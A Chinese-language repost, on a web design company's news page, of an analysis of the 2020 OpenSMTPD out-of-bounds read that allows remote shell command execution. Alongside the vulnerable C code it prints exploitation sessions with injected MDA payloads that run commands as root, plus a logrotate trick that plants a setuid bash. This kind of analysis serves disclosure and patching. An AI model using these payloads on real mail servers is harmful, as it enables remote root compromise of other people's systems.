网站建设、公众号开发、微网站、微商城、小程序就找牛创网络 !

7*24小时服务专线: 152-150-65-006 023-68263070 扫描二维码加我微信 在线QQ

漏洞公告团结互助,让我们共同进步!

当前位置:主页 > 技术资讯 > 网络安全 > 漏洞公告 >

我们的优势: 10年相关行业经验,专业设计师量身定制 设计师一对一服务模式,上百家客户案例! 企业保证,正规流程,正规合作 7*24小时在线服务,售后无忧

OpenBSD SMTP漏洞分析:远程执行代码,影响版本OpenBSD 6.6,OpenBSD 5.9,Debian 10,Debian 11,Fedora 31。

文章来源:重庆网络安全 发布时间:2020-02-28 17:00:47 围观次数:
分享到:

摘要:OpenBSD SMTP漏洞分析,利用该漏洞远程执行代码,影响版本OpenBSD 6 6,OpenBSD 5 9,Debian 10,Debian 11,Fedora 31。

 OpenBSD SMTP漏洞分析,利用该漏洞远程执行代码,影响版本OpenBSD 6.6,OpenBSD 5.9,Debian 10,Debian 11,Fedora 31。

 此漏洞于2015年12月引入越界读取(commit 80c6a60c)。攻击者可以远程利用此漏洞,在5月18日之前执行具有非root特权的任意shell命令,并在2018年5月之后可执行具有root特权的shell命令( commit a8e22235)。


  由于此漏洞位于OpenSMTPD的客户端代码中,因此需要考虑两种不同的情况:


  客户使用


  可以在默认配置的OpenSMTPD中远程利用此漏洞。OpenSMTPD仅在本地主机上侦听,默认情况下,它接受来自本地用户的邮件并将其传递到远程服务器。如果远程服务器由攻击者控制,则攻击者可以在容易受到攻击的OpenSMTPD上执行任意shell命令。


  服务器端利用


  首先,攻击者必须连接到OpenSMTPD服务器(该服务器接受外部邮件)并发送bounce邮件。当OpenSMTPD重新连接到邮件服务器以传递bounce时,攻击者可能会利用OpenSMTPD的客户端漏洞。攻击者必须使OpenSMTPD崩溃并等待它重新启动,然后才能执行命令。


  影响版本


  安全人员已经开发了漏洞利用程序和补丁程序。版本中存在漏洞:OpenBSD 6.6(当前版本),OpenBSD 5.9,Debian 10(稳定版),Debian 11(测试版)和Fedora 31。


  漏洞分析


  SMTP客户端连接到SMTP服务器,并发送诸如EHLO,MAIL FROM和RCPT TO之类的命令。SMTP服务器以单行或多行响应:


  第一行以三位数代码和连字符('-')开头,后跟可选文本(例如“ 250-ENHANCEDSTATUSCODES”);


  最后一行以相同的三位数代码开头,后跟一个可选的空格('’)和文本(例如“ 250 HELP”)。


  在OpenSMTPD的客户端代码中,这些多行响应由mta_io()函数处理:

1098 static void1099 mta_io(struct io *io, int evt, void *arg)1100 { ....1133         case IO_DATAIN:1134             nextline:1135                 line = io_getline(s->io, &len); ....1146                 if ((error = parse_smtp_response(line, len, &msg, &cont))) {


第一行 (when line[3] == ‘-’)会链接到一个大小为2KB的replybuf:

1177                 if (cont) {1178                         if (s->replybuf[0] == '\0')1179                                 (void)strlcat(s->replybuf, line, sizeof s->replybuf);1180                         else {1181                                 line = line + 4; ....1187                                         (void)strlcat(s->replybuf, line, sizeof s->replybuf);1188                         }1189                         goto nextline;1190                 }


最后一行 (when line[3] != ‘-’) 会链接到replybuf:

1195                 if (s->replybuf[0] != '\0') {1196                         p = line + 4; ....1201                         if (strlcat(s->replybuf, p, sizeof s->replybuf) >= sizeof s->replybuf)


  如果最后一行的三位数代码后面没有可选的空格和文本,则p(在1196行)指向'\ 0'之后的第一个字符,并且越界字符串链接到repeatbuf(在 1201行)。


  如何使用越界读取执行命令


  1.在回复的最后一行,精确控制“越界”字符串。OpenSMTPD将逐块读取我们的答复,而不是逐字符读取。 如果发送的结尾是“ xyz \ nstring \ 0”,则“ string”将链接到repeatbuf。


  2.如果答复的三位数代码指示暂时错误(4yz)或永久错误(5yz),则Replybuf的内容将被写入“errorline”字段,并尝试传递消息。


  3.电子邮件的基本格式为: “ field:data \ n”,构造的越界字符串(写在“errorline”字段中)可以包含“ \ n”字符:因此您可以插入新行电子邮件中的内容并更改OpenSMTPD行为。


  客户漏洞利用


  您可以直接利用客户端漏洞,等待OpenSMTPD连接到服务器,创建带有多行响应的 bounce,然后注入以下内容:

type: mda

mda-exec: shell command

dispatcher: local_mail

mda-user: root


 “ Local_mail”是OpenSMTPD的本地调度器的名称(默认配置)。当OpenSMTPD尝试传递bounce时,MDA命令会立即执行,因为注入内容已将其类型从MTA(Message Transfer Agent)更改为MDA(Message Delivery Agent),示例如下:


  首先,在OpenBSD计算机上,本地用户发送一封电子邮件(其中“ [192.168.56.1]”是攻击者的邮件服务器的IP地址)

$ id uid=1001(john) gid=1001(john) groups=1001(john) $ echo test | /usr/sbin/sendmail 'test@[192.168.56.1]'


在攻击者的邮件服务器上:

# ./ent-of-line... Connection from 192.168.56.104:39404... <-- MAIL FROM:<john@obsd66.example.org> --> 553-Error --> 553type:mda mda-exec:X=`mktemp /tmp/x.XXXXXX`&&id>>$X;exit 0dispatcher:local_mail mda-user:root


最后,该命令将在OpenBSD机器上执行:

# cat /tmp/x.*uid=0(root) gid=0(wheel) groups=0(wheel)


服务器端漏洞


  利用服务器端漏洞更为复杂,并且需要三个问题:


  1.漏洞代码位于客户端而非服务器上,因此它需要连接到OpenSMTPD服务器,通过发送电子邮件来生成bounce,并等待OpenSMTPD重新连接到其自己的邮件服务器。


  2.无需使用permanent error’回复bounce消息,服务器将直接丢弃(double bounce),因此您可以使用‘temporary error’回复并注入内容


  3. OpenSMTPD将不会立即执行注入的MDA命令。bounce将在其MTA队列中而不是MDA队列中。因此,有必要使OpenSMTPD服务崩溃并导致内存丢失。重新启动后,将立即执行MDA中的命令。


  例如:


  首先在攻击者的邮件服务器中(“ 192.168.56.104”是OpenBSD计算机,“ 192.168.56.1”是攻击者的邮件服务器,“ root@example.org”是OpenBSD计算机上的有效邮件地址):

# ./ent-of-line 192.168.56.104 'test@[192.168.56.1]' root@example.org ... Connected to 192.168.56.104:25 ...--> MAIL FROM:<test@[192.168.56.1]><-- 250 2.0.0 Ok--> RCPT TO:<root@example.org> NOTIFY=SUCCESS<-- 250 2.1.5 Destination address valid: Recipient ok ... Connection from 192.168.56.104:40061 ... <-- MAIL FROM:<>--> 421-Error--> 421type:mda mda-exec:X=`mktemp /tmp/x.XXXXXX`&&id>>$X;exit 0 dispatcher:local_mail mda-user:root Connected to 192.168.56.104:25 ...--> MAIL FROM:<test@[192.168.56.1]><-- 250 2.0.0 Ok--> RCPT TO:<root@example.org> NOTIFY=SUCCESS<-- 250 2.1.5 Destination address valid: Recipient ok ... Connection from 192.168.56.104:20037 ... <-- MAIL FROM:<>--> 421-Error--> 421type:invalid


在OpenBSD计算机上(管理员重新启动OpenSMTPD前后):

# cat /tmp/x.*cat: /tmp/x.*: No such file or directory# rcctl restart smtpdsmtpd(ok)# cat /tmp/x.*uid=0(root) gid=0(wheel) groups=0(wheel)


旧版本漏洞利用


  旧版本的使用方法如下,注入的内容为:

type: mdamda-buffer: our arbitrary shell commandmda-method: mdamda-user: nobodymda-usertable: <getpwnam>


首先,在攻击者的邮件服务器中:(“ 192.168.56.141”是Debian计算机,“ 192.168.56.1”是攻击者的邮件服务器,“ root@example.org”是Debian计算机上的有效电子邮件地址)

# ./ent-of-line -u nobody 192.168.56.141 'test@[192.168.56.1]' root@example.org ... Connected to 192.168.56.141:25 ...--> MAIL FROM:<test@[192.168.56.1]><-- 250 2.0.0: Ok--> RCPT TO:<root@example.org> NOTIFY=SUCCESS<-- 250 2.1.5 Destination address valid: Recipient ok ... Connection from 192.168.56.141:35378 ... <-- MAIL FROM:<>--> 421-Error--> 421type:mda mda-buffer:X=`mktemp /tmp/x.XXXXXX`&&id>>$X;exit 0 mda-method:mda mda-user:nobody mda-usertable:<getpwnam> Connected to 192.168.56.141:25 ...--> MAIL FROM:<test@[192.168.56.1]><-- 250 2.0.0: Ok--> RCPT TO:<root@example.org> NOTIFY=SUCCESS<-- 250 2.1.5 Destination address valid: Recipient ok ... Connection from 192.168.56.141:35380 ... <-- MAIL FROM:<>--> 421-Error--> 421type:invalid


在Debian重新启动前后:

# cat /tmp/x.*cat: '/tmp/x.*': No such file or directory# systemctl restart opensmtpd.service# cat /tmp/x.*uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)


在Debian中(攻击者的攻击中包含“ nobody”命令):

$ id uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup) $ mkdir -m 0700 /tmp/maildir $ cd /tmp/maildir $ ln -s /etc tmp $ ln -s /etc/logrotate.d new $ /usr/sbin/sendmail 'test@[192.168.56.1]' << 'EOF'/var/log/lastlog {     missingok     rotate 1     nomail     size 1     copy     firstaction         cp -f /bin/bash /var/log && chmod 04555 /var/log/bash     endscript } EOF


在攻击者服务器上:

# ./ent-of-line -m /tmp/maildir... Connection from 192.168.56.141:35382...<-- MAIL FROM:<nobody@debian>--> 553-Error --> 553type:mda mda-buffer:/tmp/maildir mda-method:maildir mda-user:root mda-usertable:<getpwnam>


最后在Debian机器上:

$ id uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup) $ /var/log/bash -p# iduid=65534(nobody) gid=65534(nogroup) euid=0(root) groups=65534(nogroup)


OpenSMTPD 6.6.4p1中发布了一个安全修复程序。在OpenBSD上,您可以运行“ syspatch”命令来应用补丁程序并重新启动OpenSMTPD服务。

本文由 重庆网络安全 整理发布,转载请保留出处,内容部分来自于互联网,如有侵权请联系我们删除。

相关热词搜索:OpenBSD SMTP 漏洞分析 远程执行代码 OpenBSD 6 6 OpenBSD 5 9 Debian 10 Debian 11 Fedora 31 重庆网络安全

上一篇:微软SharePoint Online漏洞(CVE-2020-0646):代码注入漏洞,实现远程代码执行,2020年1月份.NET补丁修复
下一篇:堆溢出漏洞(FSC-2019-3):F-Secure Internet Gatekeeper应用程序解析,利用未经身份验证的远程代码执行漏洞

热门资讯

鼠标向下滚动